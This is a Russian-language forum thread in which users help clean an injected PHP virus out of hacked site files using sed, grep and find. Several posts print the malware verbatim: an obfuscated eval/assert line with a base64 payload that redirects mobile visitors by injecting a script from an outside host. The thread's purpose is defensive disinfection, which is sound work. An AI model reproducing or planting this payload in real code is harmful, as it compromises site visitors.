31

эх. Дока не хватает. в пару строк решил бы задачу

"Фирма Майкрософт не собирается поддерживать протокол TCP/IP в своих OS" 1993 (c) Билл Гейтс
"Мы изобрели новый протокол передачи данных, мы назвали его TCP/IP" 1995 (c) Билл Гейтс

32

ну вы тут и нафлудили... всё же достаточно просто:

alexander@goblin /tmp $ cat ./s.sed
#!/bin/sed -f
/<?php/{
        N
        N
        s!^<?php\n\$_ = strrev('tressa'); @\$_("e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\\051\\051\\073");\n?>$!// here was bad evil virus!
}
alexander@goblin /tmp $ head f
<?php
$_ = strrev('tressa'); @$_("e\166\141\154\050b\141\163\145\066\064\137\144\145\143\157\144\145\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\051\051\073");
?>
<?php

/**
 * Override of theme_breadcrumb().
 */
function garland_breadcrumb($variables) {
  $breadcrumb = $variables['breadcrumb'];
alexander@goblin /tmp $ ./s.sed f |head
// here was bad evil virus
<?php

/**
 * Override of theme_breadcrumb().
 */
function garland_breadcrumb($variables) {
  $breadcrumb = $variables['breadcrumb'];

  if (!empty($breadcrumb)) {
sibero пишет:

Не хватает знаний, поэтому и прошу помощи. Я много информации перечитал, пол дня просидел, решения пока не нашел.

обычно после этого выкладывают свой нерабочий вариант...

moshell пишет:

первый раз слышу такое.. 99,5почему не 99,9?сомневаешься?)

в 0,4999 случаях на sed'е пытаются калькулятор или тетрис написать... это возможно, но рука сама тянется к виску...

95% процентов проблем находятся между клавиатурой и стулом.

33

ну вот и Фат пришел)
доброе утро!

а мы пожалуй спать. всю ночь пить, петь караоке, да еще тут задачи решать, подзадротел-подзадротел..

"Фирма Майкрософт не собирается поддерживать протокол TCP/IP в своих OS" 1993 (c) Билл Гейтс
"Мы изобрели новый протокол передачи данных, мы назвали его TCP/IP" 1995 (c) Билл Гейтс

34

sibero пишет:

Нужно удалить вредный код из файла, grep -v tressa удалить код только из вывода.

Ссылка в тему »

Конструкция (rm file; something > file) < file — это переносимый способ для редактирования файла “на месте” (данные читаются из файла, модифицируются и записываются обратно в тот же файл).

Был, был и весь вышел...

35 (06.12.2012 17:14:49 отредактировано neogotlic)

А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.

36 (07.12.2012 18:41:14 отредактировано sibero)

Fat-Zer пишет:

ну вы тут и нафлудили... всё же достаточно просто:

К сожалению, не понял как применить ваше решение.

Fat-Zer пишет:

обычно после этого выкладывают свой нерабочий вариант...

Учту, вариантов было много, в основном эксперименты с sed.

Lupo Alberto пишет:

Ссылка в тему »

Очень полезная статья, спасибо.

neogotlic пишет:

А браузер не ОПЕРА случайно? Точнее не так, не любите ли вы проводить время под браузером Opera в своем коде, когда копошитесь? Вот так будет намного корректней.

Оперой перестал пользоваться, как только закончилось время dialup. Сайты взломали не у меня, я просто помогаю в удалении заразы. 




Пока искал решение, более опытный коллега решил задачу проще.

Находим зараженные скрипты и записываем список в фаил

find ./ -type f -name "*.php" -print | xargs grep -l -e "$_ = strrev('tressa')" > list

Удаляем код вируса:

for i in `cat list`; do sed -i '1,3d' $i; done

Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.

37

sibero пишет:

К сожалению, не понял как применить ваше решение.

парсить всё это по такому шаблону:
alexander@goblin /tmp $ cat ./s.sed
<код sed скрипта>
alexander@goblin /tmp $ head f
<показал, что было до применения>
alexander@goblin /tmp $ ./s.sed f | head
<показал, как оно работает и что получается после>

95% процентов проблем находятся между клавиатурой и стулом.

38

Fat-Zer пишет:

ну вы тут и нафлудили... всё же достаточно просто:

Спасибо вам за помощь, разобрался как применить. Сделал

sed -i -f s.sed script.php

в s.sed поместил сигнатуру.

39

sibero пишет:

Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).

sibero пишет:

Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.

ну ты и флудерас

"Фирма Майкрософт не собирается поддерживать протокол TCP/IP в своих OS" 1993 (c) Билл Гейтс
"Мы изобрели новый протокол передачи данных, мы назвали его TCP/IP" 1995 (c) Билл Гейтс

40

moshell пишет:

sibero пишет:

    Код все время один и тот же, и все время это три строки вначале файла. Можно было бы удалить первые три строки, но дело в том, что код есть не во всех файлах (можно испортить не зараженный скрипты).

sibero пишет:

    Вирус записывался в первые три строки файла, поэтому наиболее простое решение, просто удаление первых трех строк.

ну ты и флудерас

Хотелось более универсальное решение сделать, изначально я не хотел решать задачу таким способом. Решения которые предложили Lupo Alberto и Fat-Zer, мне нравятся гораздо больше.

41

Fat-Zer пишет:

alexander@goblin /tmp $

cat ./s.sed 
#!/bin/sed -f /<?php/{ 
N 
N 
s!^<?php\n\$_ = strrev('tressa'); @\$_("e\\166\\141\\154\\050b\\141\\163\\145\\066\\064\\137\\144\\145\\143\\157\\144\\145\\050'aWYgKChwcmVnX21hdGNoKCcvdGV4dFwvdm5kLndhcC53bWx8YXBwbGljYXRpb25cL3ZuZC53YXAueGh0bWxcK3htbC9zaScsIEAkX1NFUlZFUlsnSFRUUF9BQ0NFUFQnXSkgfHwgcHJlZ19tYXRjaCgnL2FsY2F0ZWx8YW1vaXxhbmRyb2lkfGF2YW50Z298YmxhY2tiZXJyeXxiZW5xfGNlbGx8Y3JpY2tldHxkb2NvbW98ZWxhaW5lfGh0Y3xpZW1vYmlsZXxpcGhvbmV8aXBhZHxpcGFxfGlwb2R8ajJtZXxqYXZhfG9wZXJhLm1pbml8bWlkcHxtbXB8bW9iaXxtb3Rvcm9sYXxuZWMtfG5va2lhfHBhbG18cGFuYXNvbmljfHBoaWxpcHN8cGhvbmV8c2FnZW18c2hhcnB8c2llLXxzbWFydHBob25lfHNvbnl8c3ltYmlhbnx0LW1vYmlsZXx0ZWx1c3x1cFwuYnJvd3Nlcnx1cFwubGlua3x2b2RhZm9uZXx3YXB8d2Vib3N8d2lyZWxlc3N8eGRhfHhvb218enRlL3NpJywgQCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgfHwgcHJlZ19tYXRjaCgnL21zZWFyY2h8bVw/cT0vc2knLCBAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkgJiYgIXByZWdfbWF0Y2goJy9tYWNpbnRvc2h8YW1lcmljYXxhdmFudHxkb3dubG9hZHx3aW5kb3dzXC1tZWRpYVwtcGxheWVyfHlhbmRleHxnb29nbGUvc2knLCBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBlY2hvICc8c2NyaXB0IHNyYz0iaHR0cDovL21vYmlsZS1jb250ZW50LmluZm8vanF1ZXJ5LTEuNy4xLmpzIj48L3NjcmlwdD4nOyBmbHVzaCgpOyBleGl0OyB9'\\051\\051\\073");\n?>$!// here was bad evil virus!

Данный код удаляет вредоносный код, только если он расположен вверху файла, а как удалять код по сигнатуре не зависимо от того, в какой части файла он располагается?

42

sibero пишет:

Данный код удаляет вредоносный код, только если он расположен вверху файла, а как удалять код по сигнатуре не зависимо от того, в какой части файла он располагается?

1) пример в студию...
2) не хватает скобки в конце...

95% процентов проблем находятся между клавиатурой и стулом.

43

Rassol2 пишет:

Хотя нет, что то с сайтом доктора.

Кодировка KOI8-R.